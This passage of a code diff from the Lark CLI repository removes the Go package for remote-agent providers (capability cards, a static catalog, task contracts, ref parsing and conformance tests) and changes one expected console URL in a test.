 		"hint":           "run lark-cli auth login --scope calendar:event:create",
 		"log_id":         "20260520-0a1b2c3d",
 		"identity":       "user",
-		"console_url":    "https://open.feishu.cn/app/cli_xxx/auth",
+		"console_url":    "https://open.feishu.cn/page/scope-apply?clientID=cli_xxx&scopes=calendar:event:create",
 		"missing_scopes": []any{"calendar:event:create"},
 	}
 	for k, want := range wantFields {

internal/agent/agenttest/agenttest.go

@@ -1,163 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-// Package agenttest provides provider conformance tests: a new integrator calls
-// RunConformance in its own test to lock down registration metadata, the
-// zero-value Deps contract, Card single-sourcing, and other implicit contracts.
-// All assertions run offline (zero-value Deps, no API calls).
-package agenttest
-
-import (
-	"context"
-	"reflect"
-	"strings"
-	"testing"
-
-	"github.com/larksuite/cli/internal/agent"
-)
-
-// RunConformance runs the full set of conformance assertions against a
-// registered scheme. sampleAgentID must be a valid agent id for which the
-// provider can produce a Card (catalog-type: an id from the catalog;
-// instance-type: any non-empty id).
-func RunConformance(t *testing.T, scheme, sampleAgentID string) {
-	t.Helper()
-	info, ok := agent.Info(scheme)
-	if !ok {
-		t.Fatalf("conformance: scheme %q not registered (the provider package must be imported to trigger init registration)", scheme)
-	}
-
-	t.Run("metadata", func(t *testing.T) {
-		if info.Label == "" {
-			t.Error("conformance: ProviderInfo.Label must not be empty")
-		}
-		if info.AgentIDSource == "" {
-			t.Error("conformance: ProviderInfo.AgentIDSource must not be empty")
-		}
-		if info.Kind != agent.KindCatalog && info.Kind != agent.KindInstance {
-			t.Errorf("conformance: Kind should be %q|%q, got %q", agent.KindCatalog, agent.KindInstance, info.Kind)
-		}
-		if !strings.HasPrefix(info.AgentRefFormat, scheme+":") {
-			t.Errorf("conformance: AgentRefFormat should start with %q, got %q", scheme+":", info.AgentRefFormat)
-		}
-		if len(info.Identities) == 0 {
-			t.Error("conformance: Identities must not be empty")
-		}
-		for i, id := range info.Identities {
-			if id.Type != agent.IdentityUser && id.Type != agent.IdentityBot {
-				t.Errorf("conformance: Identities[%d].Type should be user|bot, got %q", i, id.Type)
-			}
-		}
-		seen := make(map[string]bool, len(info.RequiredScopes))
-		for _, s := range info.RequiredScopes {
-			if seen[s] {
-				t.Errorf("conformance: RequiredScopes contains duplicate %q", s)
-			}
-			seen[s] = true
-		}
-	})
-
-	t.Run("factory", func(t *testing.T) {
-		p, err := info.Factory(agent.Deps{}, sampleAgentID)
-		if err != nil {
-			t.Fatalf("conformance: Factory must accept zero-value Deps (expected nil error), got %v", err)
-		}
-		if p == nil {
-			t.Fatal("conformance: Factory must not return a nil provider")
-		}
-		// Core fields are mandatory (the command layer dispatches them without a
-		// nil-check); Register enforces this at registration, re-assert here.
-		if p.Send == nil {
-			t.Error("conformance: Provider.Send (core) must be wired")
-		}
-		if p.GetTask == nil {
-			t.Error("conformance: Provider.GetTask (core) must be wired")
-		}
-	})
-
-	t.Run("card", func(t *testing.T) {
-		newCard := func() *agent.AgentCard {
-			t.Helper()
-			p, err := info.Factory(agent.Deps{}, sampleAgentID)
-			if err != nil {
-				t.Fatalf("conformance: Factory(zero-value Deps) returned error: %v", err)
-			}
-			card, err := agent.BuildCard(context.Background(), scheme, sampleAgentID, p)
-			if err != nil {
-				t.Fatalf("conformance: BuildCard should be available offline (expected nil error), got %v", err)
-			}
-			if card == nil {
-				t.Fatal("conformance: Card must not return nil")
-			}
-			return card
-		}
-		card := newCard()
-		if card.Provider != scheme {
-			t.Errorf("conformance: Card.Provider should be %q, got %q", scheme, card.Provider)
-		}
-		if card.AgentID != sampleAgentID {
-			t.Errorf("conformance: Card.AgentID should echo the constructor input %q, got %q", sampleAgentID, card.AgentID)
-		}
-		if card.ProviderLabel != info.Label {
-			t.Errorf("conformance: Card.ProviderLabel should equal the registered Label %q, got %q", info.Label, card.ProviderLabel)
-		}
-		if !reflect.DeepEqual(card.Identity, info.Identities) {
-			t.Errorf("conformance: Card.Identity should match the registered Identities (single source), expected %+v got %+v", info.Identities, card.Identity)
-		}
-		if card.AgentIDSource != info.AgentIDSource {
-			t.Errorf("conformance: Card.AgentIDSource should equal the registered value %q, got %q", info.AgentIDSource, card.AgentIDSource)
-		}
-		if card.Parameters == nil {
-			t.Error("conformance: Card.Parameters must not be nil (always emitted, empty is [])")
-		}
-		// Single-sourcing: two independent instances each produce a Card, and the
-		// results must DeepEqual (no hidden instance state).
-		if card2 := newCard(); !reflect.DeepEqual(card, card2) {
-			t.Errorf("conformance: Cards from two instances should DeepEqual (single source), got\n%+v\nvs\n%+v", card, card2)
-		}
-	})
-
-	if info.Kind == agent.KindCatalog {
-		t.Run("discovery", func(t *testing.T) {
-			p, err := info.Factory(agent.Deps{}, sampleAgentID)
-			if err != nil {
-				t.Fatalf("conformance: Factory(zero-value Deps) returned error: %v", err)
-			}
-			if p.ListAgents == nil {
-				t.Fatal("conformance: catalog-type provider must wire ListAgents")
-			}
-			list, err := p.ListAgents(context.Background())
-			if err != nil {
-				t.Fatalf("conformance: catalog-type ListAgents should be available offline (expected nil error), got %v", err)
-			}
-			wantRef := scheme + ":" + sampleAgentID
-			found := false
-			for i, a := range list {
-				r, err := agent.ParseRef(a.AgentRef)
-				if err != nil {
-					t.Errorf("conformance: ListAgents[%d].AgentRef %q should be parseable by agent.ParseRef: %v", i, a.AgentRef, err)
-					continue
-				}
-				if r.Scheme != scheme {
-					t.Errorf("conformance: ListAgents[%d].AgentRef %q scheme should be %q, got %q", i, a.AgentRef, scheme, r.Scheme)
-				}
-				if a.Name == "" {
-					t.Errorf("conformance: ListAgents[%d] (%s) Name must not be empty", i, a.AgentRef)
-				}
-				if a.AgentRef == wantRef {
-					found = true
-				}
-			}
-			if !found {
-				t.Errorf("conformance: sampleAgentID should appear in the enumeration (expected to contain %q), got %+v", wantRef, list)
-			}
-			list2, err := p.ListAgents(context.Background())
-			if err != nil {
-				t.Fatalf("conformance: second ListAgents returned error: %v", err)
-			}
-			if !reflect.DeepEqual(list, list2) {
-				t.Errorf("conformance: two consecutive ListAgents results should DeepEqual (stable enumeration), got\n%+v\nvs\n%+v", list, list2)
-			}
-		})
-	}
-}

internal/agent/card.go

@@ -1,155 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import "context"
-
-// capability key constants (the JSON key names in capabilities, also the
-// capability identifiers used by Supports / capabilityError). Only capabilities
-// that "can change the AI's next command line and are currently deliverable" are
-// exposed.
-const (
-	CapTaskGet          = "task_get"
-	CapTaskList         = "task_list"
-	CapTaskCancel       = "task_cancel"
-	CapInputRequired    = "input_required"
-	CapFileInput        = "file_input"
-	CapArtifactDownload = "artifact_download"
-	CapMultiTurn        = "multi_turn"
-)
-
-// Capabilities is the closed set of capabilities: making it a struct means an
-// omitted field is an explicit false and a typo is a compile error. Fields are
-// ordered by json tag alphabetically to keep the key order identical to the old
-// map serialization.
-type Capabilities struct {
-	ArtifactDownload bool `json:"artifact_download"`
-	FileInput        bool `json:"file_input"`
-	InputRequired    bool `json:"input_required"`
-	MultiTurn        bool `json:"multi_turn"`
-	TaskCancel       bool `json:"task_cancel"`
-	TaskGet          bool `json:"task_get"`
-	TaskList         bool `json:"task_list"`
-}
-
-// AgentCard is a remote agent's capability card (schema v2): provider metadata,
-// the supported capability matrix, identity precondition declarations, and
-// parameter / skill declarations (scopes are not in the card; they are internal
-// registration data for preflight only).
-type AgentCard struct {
-	Provider      string         `json:"provider"`
-	ProviderLabel string         `json:"provider_label"`
-	AgentID       string         `json:"agent_id"`
-	Name          string         `json:"name,omitempty"` // dynamic card only
-	Description   string         `json:"description,omitempty"`
-	Capabilities  Capabilities   `json:"capabilities"`
-	Identity      []IdentitySpec `json:"identity"`
-	Parameters    []CardParam    `json:"parameters"` // always emitted (empty is [])
-	AgentIDSource string         `json:"agent_id_source"`
-	Skills        []CardSkill    `json:"skills,omitempty"`
-}
-
-// NewCard fills in all fields known at registration time from the registration
-// info (Provider/ProviderLabel/Identity/AgentIDSource/empty Parameters); the
-// integrator only supplies the per-agent part (Capabilities, plus Name/
-// Description for catalog types). An unregistered scheme is a programming error
-// (a provider should only pass its own scheme), so it panics fail-fast.
-func NewCard(scheme, agentID string) *AgentCard {
-	info, ok := Info(scheme)
-	if !ok {
-		panic("agent: NewCard for unregistered scheme: " + scheme)
-	}
-	return &AgentCard{
-		Provider:      scheme,
-		ProviderLabel: info.Label,
-		AgentID:       agentID,
-		Identity:      info.Identities,
-		Parameters:    []CardParam{},
-		AgentIDSource: info.AgentIDSource,
-	}
-}
-
-// DeriveCapabilities computes the capability matrix from which Provider fields
-// are wired — the single source of truth. The method-backed capabilities are
-// derived from the corresponding func field being non-nil (implement it =
-// support it); file_input / input_required are behavioral flags with no backing
-// method and are read straight from the struct. Send/GetTask are mandatory
-// (Register enforces), so task_get is always true.
-func DeriveCapabilities(p *Provider) Capabilities {
-	return Capabilities{
-		TaskGet:          p.GetTask != nil,
-		TaskList:         p.ListTasks != nil,
-		TaskCancel:       p.CancelTask != nil,
-		ArtifactDownload: p.DownloadArtifact != nil,
-		MultiTurn:        p.ListContexts != nil,
-		FileInput:        p.FileInput,
-		InputRequired:    p.InputRequired,
-	}
-}
-
-// BuildCard synthesizes an agent's full Card: NewCard fills the
-// registration-time fields, DeriveCapabilities fills the matrix from the wired
-// fields, and Describe (if the provider set it) supplies the per-agent
-// Name/Description/Parameters/Skills and validates the agent_id. A provider
-// therefore never assembles its own card or declares its own capability bools.
-func BuildCard(ctx context.Context, scheme, agentID string, p *Provider) (*AgentCard, error) {
-	card := NewCard(scheme, agentID)
-	card.Capabilities = DeriveCapabilities(p)
-	if p.Describe != nil {
-		info, err := p.Describe(ctx)
-		if err != nil {
-			return nil, err
-		}
-		if info != nil {
-			card.Name = info.Name
-			card.Description = info.Description
-			if info.Parameters != nil {
-				card.Parameters = info.Parameters
-			}
-			card.Skills = info.Skills
-		}
-	}
-	return card, nil
-}
-
-// CardParam is one input parameter declared by a Card (used for --param validation).
-type CardParam struct {
-	Name     string `json:"name"`
-	Type     string `json:"type"`
-	Required bool   `json:"required"`
-	Desc     string `json:"desc,omitempty"`
-}
-
-// CardSkill is one skill / scenario declared by a Card (with example usages).
-type CardSkill struct {
-	ID       string   `json:"id"`
-	Name     string   `json:"name,omitempty"`
-	Examples []string `json:"examples,omitempty"`
-}
-
-// Supports reports whether a capability is declared as supported (an unknown key
-// or a nil card is treated as unsupported).
-func (c *AgentCard) Supports(cap string) bool {
-	if c == nil {
-		return false
-	}
-	switch cap {
-	case CapArtifactDownload:
-		return c.Capabilities.ArtifactDownload
-	case CapFileInput:
-		return c.Capabilities.FileInput
-	case CapInputRequired:
-		return c.Capabilities.InputRequired
-	case CapMultiTurn:
-		return c.Capabilities.MultiTurn
-	case CapTaskCancel:
-		return c.Capabilities.TaskCancel
-	case CapTaskGet:
-		return c.Capabilities.TaskGet
-	case CapTaskList:
-		return c.Capabilities.TaskList
-	default:
-		return false
-	}
-}

internal/agent/card_test.go

@@ -1,65 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import "testing"
-
-func TestCardSupports(t *testing.T) {
-	c := &AgentCard{Capabilities: Capabilities{TaskCancel: false, MultiTurn: true}}
-	if c.Supports(CapTaskCancel) {
-		t.Error("task_cancel should not be supported")
-	}
-	if !c.Supports(CapMultiTurn) {
-		t.Error("multi_turn should be supported")
-	}
-	if c.Supports("nonexistent") {
-		t.Error("unknown capability should be treated as unsupported")
-	}
-	// nil guard branch: a nil receiver is treated as unsupported; a zero-value Capabilities is all false.
-	var nilCard *AgentCard
-	if nilCard.Supports(CapMultiTurn) {
-		t.Error("nil card should be treated as unsupported")
-	}
-	if (&AgentCard{}).Supports(CapMultiTurn) {
-		t.Error("zero-value Capabilities should be treated as unsupported")
-	}
-	// Each capability constant must map to its own struct field (the switch has no gaps or mismatches).
-	all := &AgentCard{Capabilities: Capabilities{
-		ArtifactDownload: true, FileInput: true, InputRequired: true,
-		MultiTurn: true, TaskCancel: true, TaskGet: true, TaskList: true,
-	}}
-	for _, k := range []string{
-		CapArtifactDownload, CapFileInput, CapInputRequired,
-		CapMultiTurn, CapTaskCancel, CapTaskGet, CapTaskList,
-	} {
-		if !all.Supports(k) {
-			t.Errorf("Supports(%q) should be true when all Capabilities are true", k)
-		}
-	}
-}
-
-// TestNewCardFillsRegistrationFields pins that NewCard pre-fills every
-// registration-known field and panics on an unregistered scheme.
-func TestNewCardFillsRegistrationFields(t *testing.T) {
-	swapRegistry(t, map[string]ProviderInfo{})
-	info := testInfo("nc", okFactory())
-	info.Identities = []IdentitySpec{{Type: IdentityBot, Precondition: "需要白名单"}}
-	Register("nc", info)
-
-	card := NewCard("nc", "agt_1")
-	if card.Provider != "nc" || card.AgentID != "agt_1" {
-		t.Fatalf("provider/agent_id: %+v", card)
-	}
-	if card.ProviderLabel != info.Label || card.AgentIDSource != info.AgentIDSource {
-		t.Fatalf("registration metadata should be pre-filled: %+v", card)
-	}
-	if len(card.Identity) != 1 || card.Identity[0].Type != IdentityBot {
-		t.Fatalf("identity should come from registration info: %+v", card.Identity)
-	}
-	if card.Parameters == nil || len(card.Parameters) != 0 {
-		t.Fatalf("parameters should be empty but non-nil (always emit []): %#v", card.Parameters)
-	}
-
-	mustPanic(t, "unregistered scheme", func() { NewCard("ghost", "agt_1") })
-}

internal/agent/catalog.go

@@ -1,90 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"context"
-	"sort"
-
-	"github.com/larksuite/cli/errs"
-)
-
-// CatalogEntry is the provider-neutral description of one predefined agent in a
-// catalog-type provider. It holds only descriptive fields the framework can
-// consume (enumeration / Card metadata); capabilities are NOT declared here —
-// they are derived from which Provider func fields the integrator's Factory
-// wires for this agent (see agent/example). A provider's private business
-// fields (such as the execution backend it points to) are maintained alongside
-// in the integrator's own package and do not enter framework types.
-type CatalogEntry struct {
-	ID          string
-	Name        string
-	Description string
-}
-
-// StaticCatalog carries the common boilerplate of a catalog-type provider:
-// catalog enumeration (the ListAgents field), per-agent Card metadata (Describe
-// returns the entry's Name/Description), and a typed validation error for
-// unknown ids. Capabilities are derived by the framework from the Provider
-// fields the integrator's Factory wires, not stored here. Business differences
-// (such as the execution backend) are composed by the provider itself on the
-// outer layer. It is read-only after construction and safe for concurrent use.
-type StaticCatalog struct {
-	scheme  string
-	entries map[string]CatalogEntry
-}
-
-// NewStaticCatalog constructs a static catalog. A duplicate entry ID is an
-// integrator coding error and panics fail-fast (aligned with the Register convention).
-func NewStaticCatalog(scheme string, entries []CatalogEntry) *StaticCatalog {
-	m := make(map[string]CatalogEntry, len(entries))
-	for _, e := range entries {
-		if _, dup := m[e.ID]; dup {
-			panic("agent: StaticCatalog duplicate entry ID for scheme " + scheme + ": " + e.ID)
-		}
-		m[e.ID] = e
-	}
-	return &StaticCatalog{scheme: scheme, entries: m}
-}
-
-// ListAgents enumerates the catalog (Discoverer semantics), sorted by AgentRef
-// to guarantee stable output.
-func (c *StaticCatalog) ListAgents(ctx context.Context) ([]AgentSummary, error) {
-	out := make([]AgentSummary, 0, len(c.entries))
-	for _, e := range c.entries {
-		out = append(out, AgentSummary{
-			AgentRef:    c.scheme + ":" + e.ID,
-			Name:        e.Name,
-			Description: e.Description,
-		})
-	}
-	sort.Slice(out, func(i, j int) bool { return out[i].AgentRef < out[j].AgentRef })
-	return out, nil
-}
-
-// Describe returns the per-agent Card metadata (Name/Description) for agentID,
-// suitable as a Provider.Describe implementation: it validates the id (an
-// unknown id returns the typed error from Lookup) and leaves capability
-// derivation to the framework. Parameters/Skills are left empty; a provider
-// with declared parameters composes them on top.
-func (c *StaticCatalog) Describe(agentID string) (*CardInfo, error) {
-	e, err := c.Lookup(agentID)
-	if err != nil {
-		return nil, err
-	}
-	return &CardInfo{Name: e.Name, Description: e.Description}, nil
-}
-
-// Lookup fetches a catalog entry by id. An unknown id returns a typed
-// validation/invalid_argument error (exit 2) whose hint points to
-// `agent list <scheme>`, so a provider need not define its own unknown-agent error.
-func (c *StaticCatalog) Lookup(agentID string) (CatalogEntry, error) {
-	e, ok := c.entries[agentID]
-	if !ok {
-		return CatalogEntry{}, errs.NewValidationError(errs.SubtypeInvalidArgument,
-			"未知的 %s agent '%s'", c.scheme, agentID).
-			WithHint("运行 lark-cli agent list %s 查看可用 agent", c.scheme)
-	}
-	return e, nil
-}

internal/agent/catalog_test.go

@@ -1,99 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"context"
-	"errors"
-	"reflect"
-	"testing"
-
-	"github.com/larksuite/cli/errs"
-)
-
-// testCatalogEntries is declared out of order to verify ListAgents sorting stability.
-func testCatalogEntries() []CatalogEntry {
-	return []CatalogEntry{
-		{ID: "zeta", Name: "Zeta 助手", Description: "z desc"},
-		{ID: "alpha", Name: "Alpha 助手", Description: "a desc"},
-	}
-}
-
-// TestStaticCatalogListAgentsSorted asserts the enumeration is sorted by AgentRef
-// and that two consecutive results are DeepEqual (stable sort, the same contract
-// asserted by agenttest discovery).
-func TestStaticCatalogListAgentsSorted(t *testing.T) {
-	c := NewStaticCatalog("cattest", testCatalogEntries())
-	got, err := c.ListAgents(context.Background())
-	if err != nil {
-		t.Fatal(err)
-	}
-	want := []AgentSummary{
-		{AgentRef: "cattest:alpha", Name: "Alpha 助手", Description: "a desc"},
-		{AgentRef: "cattest:zeta", Name: "Zeta 助手", Description: "z desc"},
-	}
-	if !reflect.DeepEqual(got, want) {
-		t.Fatalf("ListAgents should be sorted by AgentRef, want %+v got %+v", want, got)
-	}
-	got2, err := c.ListAgents(context.Background())
-	if err != nil {
-		t.Fatal(err)
-	}
-	if !reflect.DeepEqual(got, got2) {
-		t.Fatalf("two consecutive ListAgents calls should be DeepEqual, got\n%+v\nvs\n%+v", got, got2)
-	}
-}
-
-// TestStaticCatalogDescribe asserts Describe returns the entry's per-agent
-// Name/Description (the framework fills registration fields and derives
-// capabilities from the wired Provider fields, so those are not Describe's job).
-func TestStaticCatalogDescribe(t *testing.T) {
-	c := NewStaticCatalog("cattest", testCatalogEntries())
-	info, err := c.Describe("alpha")
-	if err != nil {
-		t.Fatal(err)
-	}
-	if info.Name != "Alpha 助手" || info.Description != "a desc" {
-		t.Fatalf("Describe should return the entry Name/Description, got %+v", info)
-	}
-	// Describe carries no capabilities/parameters — those are the framework's job.
-	if len(info.Parameters) != 0 || len(info.Skills) != 0 {
-		t.Fatalf("Describe should not populate Parameters/Skills, got %+v", info)
-	}
-}
-
-// TestStaticCatalogUnknownID asserts Lookup / Card return a typed
-// validation/invalid_argument error for an unknown id (exit 2 rather than
-// internal/exit 5), with the hint pointing to `agent list <scheme>`.
-func TestStaticCatalogUnknownID(t *testing.T) {
-	c := NewStaticCatalog("cattest", testCatalogEntries())
-	_, err := c.Lookup("nonexistent")
-	if err == nil {
-		t.Fatal("unknown id should return an error")
-	}
-	var ve *errs.ValidationError
-	if !errors.As(err, &ve) {
-		t.Fatalf("unknown id should be an *errs.ValidationError, got %T: %v", err, err)
-	}
-	if ve.Subtype != errs.SubtypeInvalidArgument {
-		t.Fatalf("subtype should be invalid_argument, got %q", ve.Subtype)
-	}
-	if want := "未知的 cattest agent 'nonexistent'"; ve.Message != want {
-		t.Fatalf("message should be %q, got %q", want, ve.Message)
-	}
-	if want := "运行 lark-cli agent list cattest 查看可用 agent"; ve.Hint != want {
-		t.Fatalf("hint should be %q, got %q", want, ve.Hint)
-	}
-	// Describe goes through the same Lookup path.
-	if _, err := c.Describe("nonexistent"); !errors.As(err, &ve) {
-		t.Fatalf("Describe with an unknown id should return the same typed error, got %v", err)
-	}
-}
-
-// TestStaticCatalogDuplicateIDPanic asserts a duplicate entry ID triggers a
-// fail-fast panic (aligned with the Register convention).
-func TestStaticCatalogDuplicateIDPanic(t *testing.T) {
-	entries := []CatalogEntry{{ID: "a"}, {ID: "a"}}
-	mustPanic(t, "duplicate entry ID", func() { NewStaticCatalog("cattest", entries) })
-}

internal/agent/contract.go

@@ -1,94 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-// AgentTask is the unified structure that task-family commands put into output.Envelope.Data.
-type AgentTask struct {
-	TaskID        string         `json:"task_id"`
-	ContextID     string         `json:"context_id,omitempty"`
-	State         TaskState      `json:"state"`
-	IsTerminal    bool           `json:"is_terminal"`
-	Messages      []Message      `json:"messages,omitempty"`
-	Artifacts     []Artifact     `json:"artifacts,omitempty"`
-	InputRequired *InputRequired `json:"input_required,omitempty"`
-}
-
-// Message is one turn of an agent or user message, composed of several Parts.
-type Message struct {
-	Role  string `json:"role"` // "agent" | "user"
-	Parts []Part `json:"parts"`
-}
-
-// Part is one fragment of a message: text, file, or structured data.
-type Part struct {
-	Type string `json:"type"` // "text" | "file" | "data"
-	Text string `json:"text,omitempty"`
-	// File/Data pass-through: file uses URL/Name, data uses Data.
-	Name string      `json:"name,omitempty"`
-	URL  string      `json:"url,omitempty"`
-	Data interface{} `json:"data,omitempty"`
-}
-
-// Artifact is one artifact produced by a task (file / inline text), downloadable
-// via URL.
-//
-// Its fields align with A2A's Artifact/FilePart, but only what a provider can
-// truly deliver is populated (e.g. example only provides ID + Kind — the
-// coarse-grained kind at the GetTask stage — plus Name/Mime at the download
-// stage). Mime/Description/Size are placeholders under A2A semantics; if a
-// provider does not yet supply them they are omitted via omitempty and lit up
-// only once the provider can fill them, rather than creating empty shell fields
-// that cannot be filled.
-type Artifact struct {
-	ID          string `json:"id"`
-	Kind        string `json:"kind,omitempty"` // coarse-grained kind (image/file/...), a type hint before download
-	Name        string `json:"name,omitempty"` // file name (with extension), helps choose the -o save name
-	Mime        string `json:"mime,omitempty"` // content type (image/png…), empty if the provider does not supply it
-	Description string `json:"description,omitempty"`
-	Size        int64  `json:"size,omitempty"` // byte count, 0 if the provider does not supply it
-	URL         string `json:"url,omitempty"`
-	Text        string `json:"text,omitempty"`
-}
-
-// InputRequired describes the input a task requests from the user while in the
-// input_required state.
-type InputRequired struct {
-	Prompt  string   `json:"prompt"`
-	Options []string `json:"options,omitempty"`
-}
-
-// TaskSummary is a single task summary in the task list output.
-type TaskSummary struct {
-	TaskID     string    `json:"task_id"`
-	ContextID  string    `json:"context_id,omitempty"`
-	State      TaskState `json:"state"`
-	IsTerminal bool      `json:"is_terminal"`
-}
-
-// ContextSummary is a single context summary in the context list output.
-type ContextSummary struct {
-	ContextID string `json:"context_id"`
-	CreatedAt string `json:"created_at,omitempty"`
-	Title     string `json:"title,omitempty"`
-}
-
-// ContextDetail is the context detail in the context get output (including its task list).
-type ContextDetail struct {
-	ContextID string        `json:"context_id"`
-	CreatedAt string        `json:"created_at,omitempty"`
-	Title     string        `json:"title,omitempty"`
-	Tasks     []TaskSummary `json:"tasks,omitempty"`
-}
-
-// ArtifactData is the return value of DownloadArtifact: the URL type gives URL,
-// the inline type gives Bytes. Name is the server-suggested file name (echoed
-// back only as a suggested_name reference for the command layer); it is
-// untrusted input and must never participate in constructing the local save
-// path — the save path is always determined by -o/SafeOutputPath.
-type ArtifactData struct {
-	Name  string
-	Mime  string
-	URL   string
-	Bytes []byte
-}

internal/agent/contract_test.go

@@ -1,28 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"encoding/json"
-	"testing"
-)
-
-func TestAgentTaskJSON(t *testing.T) {
-	at := AgentTask{TaskID: "chat_1", ContextID: "sess_1", State: StateInputRequired,
-		IsTerminal:    false,
-		InputRequired: &InputRequired{Prompt: "按大区还是品类拆?", Options: []string{"region", "category"}}}
-	b, _ := json.Marshal(at)
-	var m map[string]interface{}
-	_ = json.Unmarshal(b, &m)
-	if m["state"] != "input_required" {
-		t.Errorf("state=%v", m["state"])
-	}
-	if _, ok := m["input_required"]; !ok {
-		t.Error("input_required should appear in the input_required state")
-	}
-	// unset artifacts should be omitted via omitempty
-	if _, ok := m["artifacts"]; ok {
-		t.Error("artifacts should be omitted via omitempty")
-	}
-}

internal/agent/provider.go

@@ -1,89 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import "context"
-
-// SendInput is the input to send (Params has already passed Card validation).
-type SendInput struct {
-	Text      string
-	Files     []string
-	Params    map[string]string
-	ContextID string
-	TaskID    string
-}
-
-// CardInfo is the per-agent descriptive metadata a provider supplies for its
-// Card (everything the framework cannot fill from registration data or derive
-// from capabilities): the display Name/Description, declared input Parameters,
-// and Skills. It is returned by Provider.Describe.
-type CardInfo struct {
-	Name        string
-	Description string
-	Parameters  []CardParam
-	Skills      []CardSkill
-}
-
-// Provider is a remote agent adapter: it translates the unified commands into a
-// specific vendor's OAPI. It is a struct of function fields rather than a fat
-// interface, mirroring the events KeyDefinition / shortcuts Shortcut convention:
-// a provider fills only the capabilities it supports, and a nil optional field
-// means "unsupported" — the command layer gates on it and returns a unified
-// unsupported_capability error before any network access, so a provider never
-// writes capability-refusal code itself. The Card capability matrix is derived
-// by the framework from which fields are non-nil (see BuildCard), so declaration
-// and behavior are single-sourced and cannot drift.
-//
-// Because a Provider is constructed per (deps, agentID) by its Factory, a
-// catalog provider whose agents differ in capability wires different fields per
-// agentID (see agent/example) — capability is expressed as code, not a
-// hand-maintained bool matrix.
-type Provider struct {
-	// ── Core (Register validates both non-nil for every provider) ──
-
-	// Send sends one message, starting a new task or continuing an existing one.
-	Send func(ctx context.Context, in SendInput) (*AgentTask, error)
-	// GetTask queries a single task's state and artifacts.
-	GetTask func(ctx context.Context, taskID string) (*AgentTask, error)
-
-	// ── Optional capabilities (nil = unsupported; framework gates) ──
-
-	// ListTasks lists tasks, optionally filtered by contextID (empty = no filter).
-	// nil ⇒ card task_list=false.
-	ListTasks func(ctx context.Context, contextID string) ([]TaskSummary, error)
-	// CancelTask cancels (interrupts) a task. nil ⇒ card task_cancel=false.
-	CancelTask func(ctx context.Context, taskID string) error
-	// ListContexts lists multi-turn contexts. nil ⇒ card multi_turn=false (the
-	// multi_turn capability is derived from this, the enumeration entry point).
-	ListContexts func(ctx context.Context) ([]ContextSummary, error)
-	// GetContext returns a single context's detail. nil ⇒ context get unsupported.
-	GetContext func(ctx context.Context, ctxID string) (*ContextDetail, error)
-	// DeleteContext deletes a context (destructive). nil ⇒ context delete unsupported.
-	DeleteContext func(ctx context.Context, ctxID string) error
-	// DownloadArtifact fetches artifact data: the URL type returns URL, the inline
-	// type returns Bytes. nil ⇒ card artifact_download=false.
-	DownloadArtifact func(ctx context.Context, taskID, artifactID string) (*ArtifactData, error)
-	// ListAgents enumerates the provider's own agents (catalog discovery). nil ⇒
-	// `agent list <scheme>` reports the provider is not enumerable. A KindCatalog
-	// provider must wire it (asserted at Register time).
-	ListAgents func(ctx context.Context) ([]AgentSummary, error)
-
-	// ── Optional descriptive metadata ──
-
-	// Describe supplies the per-agent Card metadata (Name/Description/Parameters/
-	// Skills) and is the place to validate an unknown agent_id (return a typed
-	// error). nil ⇒ the card carries only registration fields + derived
-	// capabilities. Called at card-display time (may hit the network for an
-	// instance provider that fetches its card remotely).
-	Describe func(ctx context.Context) (*CardInfo, error)
-
-	// ── Behavioral flags (not derivable from method presence) ──
-
-	// FileInput reports whether Send accepts SendInput.Files (drives card
-	// file_input and the --file off-machine-upload confirmation gate).
-	FileInput bool
-	// InputRequired reports whether the agent may pause a task in the
-	// input_required state awaiting more input (drives card input_required).
-	InputRequired bool
-}

internal/agent/ref.go

@@ -1,29 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"errors"
-	"strings"
-)
-
-// ErrInvalidRef is the sentinel error for a malformed agent_ref (wrapped into a
-// validation error by the caller).
-var ErrInvalidRef = errors.New("agent_ref 格式应为 <provider>:<agent_id>")
-
-// Ref is the identifier addressing a remote agent: <scheme>:<agent_id>, e.g. example:echo.
-type Ref struct {
-	Scheme  string
-	AgentID string
-}
-
-// ParseRef parses a ref string. On a malformed format it returns ErrInvalidRef
-// (wrapped into a validation error by the caller).
-func ParseRef(s string) (Ref, error) {
-	parts := strings.SplitN(s, ":", 2)
-	if len(parts) != 2 || parts[0] == "" || parts[1] == "" || strings.Contains(parts[1], ":") {
-		return Ref{}, ErrInvalidRef
-	}
-	return Ref{Scheme: parts[0], AgentID: parts[1]}, nil
-}

internal/agent/ref_test.go

@@ -1,24 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"errors"
-	"testing"
-)
-
-func TestParseRef(t *testing.T) {
-	r, err := ParseRef("example:agt_xxx")
-	if err != nil || r.Scheme != "example" || r.AgentID != "agt_xxx" {
-		t.Fatalf("got %+v err=%v", r, err)
-	}
-}
-
-func TestParseRefErrors(t *testing.T) {
-	for _, s := range []string{"", "example", "example:", ":agt", "example:agt:extra"} {
-		if _, err := ParseRef(s); !errors.Is(err, ErrInvalidRef) {
-			t.Errorf("ParseRef(%q) should return ErrInvalidRef, got err=%v", s, err)
-		}
-	}
-}

internal/agent/registry.go

@@ -1,182 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"fmt"
-	"sort"
-	"strings"
-
-	"github.com/larksuite/cli/internal/client"
